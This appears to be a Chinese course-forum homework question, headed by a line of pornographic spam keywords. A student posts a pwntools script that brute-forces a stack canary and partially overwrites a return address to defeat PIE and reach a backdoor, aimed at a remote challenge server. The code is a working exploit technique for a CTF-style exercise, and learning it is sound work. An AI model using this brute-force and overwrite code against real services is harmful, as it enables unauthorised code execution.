极品人妻少妇一区二区三区 ,歪歪动漫在线观看,99精品视频精品

作業(yè)：canary_01問(wèn)題。本地可以爆破成功，遠(yuǎn)程失敗，沒(méi)有調(diào)試思路

Art1cuno 2024-3-9 826

源自：文章：本章作業(yè)

問(wèn)題描述

作業(yè)：canary_01即protect_full，本地爆破Canary和PIE成功，遠(yuǎn)端爆破Canary成功，PIE失敗，想了解利用是否有問(wèn)題

問(wèn)題出現(xiàn)的環(huán)境背景及自己嘗試過(guò)哪些方法

本地虛擬機(jī)：課程提供的Ubuntu 20.04 64位
利用思路：期望將ret值的低2字節(jié)改為backdoor的值從而繞過(guò)PIE

相關(guān)代碼

from pwn import *
 
elf = ELF("./protect_full")
# libc = ELF("./libc-2.31.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# p = process([elf.path])
p = remote('123.59.196.133', '10015')
 
canary = '\x00'
while len(canary) < 8:
    for i in range(0x100):
        payload = ''
        payload += 'a' * 0x18
        payload += canary
        payload += p8(i)
        p.sendafter('Okay', payload)
        if not p.recvline_contains('stack smashing detected', timeout=1):
            canary += p8(i)
            break
 
canary = u64(canary)
 
backdoor = 0x8e4
for i in range(0x10):
    k = i << 12
    payload = ''
    payload += 'a' * 0x18
    payload += p64(canary)
    payload += 'b' * 8
    payload += p16(backdoor + k)
    p.sendafter('Okay', payload)
    buf = p.recv()
    if b'flag' in buf:
        print(buf)
        break
 
p.interactive()